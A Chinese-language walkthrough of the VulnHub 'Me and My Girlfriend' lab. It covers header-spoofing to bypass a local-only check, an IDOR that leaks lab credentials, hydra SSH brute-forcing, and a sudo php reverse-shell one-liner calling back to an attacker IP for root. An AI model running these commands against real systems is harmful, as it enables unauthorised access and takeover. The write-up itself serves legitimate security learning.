vulnhub靶场Me and My Girlfriend
0x000 靶场描述
This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, "Ceban Corp", something has changed from Alice's attitude towards Bob like something is "hidden", And Bob asks for your help to get what Alice is hiding and get full access to the company!
flag:用户或者root下的flag1.txt文件
0x001 靶场下载
https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/
0x002 信息收集
探测存活主机
netdiscover -r 192.168.1.0/24
端口扫描
nmap -sS -sV -A -p 1-65535 192.168.1.101
目录扫描
dirsearch -u http://192.168.1.101 --wordlists=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
访问config目录下的内容,发现存在config.php文件,可能是网站数据库配置信息,查看源代码,但是读取不到内容。。。
绕过本地访问限制
访问网站主页,发现存在本地访问限制
浏览器安装ModHeader插件,设置参数X-Forwarded-For:127.0.0.1即可绕过限制。
0x003 平行越权漏洞
成功绕过限制后,发现存在注册页面,因此注册账号登陆寻找可用信息,
访问 http://192.168.1.101/index.php?page=profile&user_id=12 页面,发现都登陆成功了,这里居然还存在账号密码信息,burpsuite抓包查看,发现相应包存在明文账号密码信息,由于当前我注册的账号id为12,因此对前面11个id进行查看。
将请求包发送到 Intruder 模块,设置变量进行批量提交。。。
获取到如下账号密码:
eweuhtandingan:skuyatuh
Aing Maung:aingmaung
Sunda Tea:sundatea
sedihaingmah:cedihhihihi
alice:4lic3
abdikasepak:dorrrrr
hydra爆破ssh账号密码
hydra -C user.txt ssh://192.168.1.101
ssh远程登陆
ssh alice@192.168.1.101
0x004 提权
查看当前权限
发现php不需要密码可以执行操作
php反弹shell获取root权限
sudo php -r '$sock=fsockopen("192.168.1.109",9999);exec("/bin/bash -i <&3 >&3 2>&3");'
0x005 flag
cat /home/alice/.my_secret/flag.txt
cat .my_secret/flag1.txt